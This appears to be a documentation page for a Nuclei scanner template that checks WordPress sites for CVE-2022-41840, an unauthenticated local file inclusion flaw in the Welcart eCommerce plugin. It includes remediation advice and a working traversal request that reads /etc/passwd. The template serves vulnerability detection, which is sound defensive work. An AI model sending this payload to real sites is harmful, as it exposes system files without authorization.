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Welcart eCommerce <=2.7.7 - Local File Inclusion

ID: CVE-2022-41840

Severity: critical

Author: theamanrawat

Tags: cve2022,cve,wp-plugin,wordpress,wp,lfi,unauth,usc-e-shop,collne

Description

Section titled “Description”

Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.

YAML Source

Section titled “YAML Source”
id: CVE-2022-41840


info:
  name: Welcart eCommerce <=2.7.7 - Local File Inclusion
  author: theamanrawat
  severity: critical
  description: |
    Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade Welcart eCommerce plugin to the latest version (>=2.7.8) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41840
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-41840
    cwe-id: CWE-22
    epss-score: 0.00738
    epss-percentile: 0.78774
    cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: collne
    product: welcart_e-commerce
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wordpress,wp,lfi,unauth,usc-e-shop,collne


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dbd877326aec0ad252f1e1518c0baec1fdddad757469342ca05587b0c31094a8022100fcd556d0d8b4b4c501a42d2306c937fda7b551a0ccf0c7918814434448808a8b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-41840.yaml"

View on Github